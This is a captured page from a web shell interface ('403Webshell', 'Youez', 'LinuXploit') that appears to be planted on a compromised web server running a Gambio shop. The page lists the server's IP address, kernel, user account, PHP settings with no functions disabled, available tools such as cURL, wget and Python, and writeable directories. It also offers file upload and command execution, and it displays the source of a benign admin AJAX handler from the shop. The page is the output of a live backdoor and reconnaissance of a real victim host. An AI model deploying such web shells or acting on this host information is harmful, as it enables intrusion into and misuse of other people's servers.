403Webshell
Server IP : 85.158.181.41  /  Your IP : 216.73.217.12
Web Server : Apache
System : Linux cloud9-vm129 6.1.178+1-ph #ph SMP PREEMPT_DYNAMIC Wed Jul 29 09:00:54 UTC 2026 x86_64
User : moncbefd ( 1024)
PHP Version : 7.3.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /home/moncbefd/www.moneta.at/system/classes/admin_info_box/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/moncbefd/www.moneta.at/system/classes/admin_info_box/AdminInfoboxAjaxHandler.inc.php
<?php
/* --------------------------------------------------------------
   AdminInfoboxAjaxHandler.inc.php 2017-12-18
   Gambio GmbH
   http://www.gambio.de
   Copyright (c) 2017 Gambio GmbH
   Released under the GNU General Public License (Version 2)
   [http://www.gnu.org/licenses/gpl-2.0.html]
   --------------------------------------------------------------
*/

class AdminInfoboxAjaxHandler extends AjaxHandler
{
	function get_permission_status($p_customers_id=NULL)
	{
		if($_SESSION['customers_status']['customers_status_id'] === '0')
		{
			#admins only
			return $this->_checkAdminReadingPermission('AdminInfobox', !empty($p_customers_id) ? $p_customers_id : $_SESSION['customer_id']);
		}
		return false;
	}

	function proceed()
	{
		$t_success = false;
		
		$c_infobox_message_id = (int)$this->v_data_array['GET']['id'];	
		$coo_admin_infobox_control = MainFactory::create_object('AdminInfoboxControl');
		
		switch($this->v_data_array['GET']['action'])
		{
			case 'hide_info_box':
				$t_success = $coo_admin_infobox_control->set_status($c_infobox_message_id, 'hidden');
				break;
			case 'remove_info_box':
				$t_success = $coo_admin_infobox_control->set_status($c_infobox_message_id, 'deleted');
				break;
			case 'set_status_read':
				$t_success = $coo_admin_infobox_control->set_status($c_infobox_message_id, 'read');
				break;
		}		
		
		return $t_success;
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit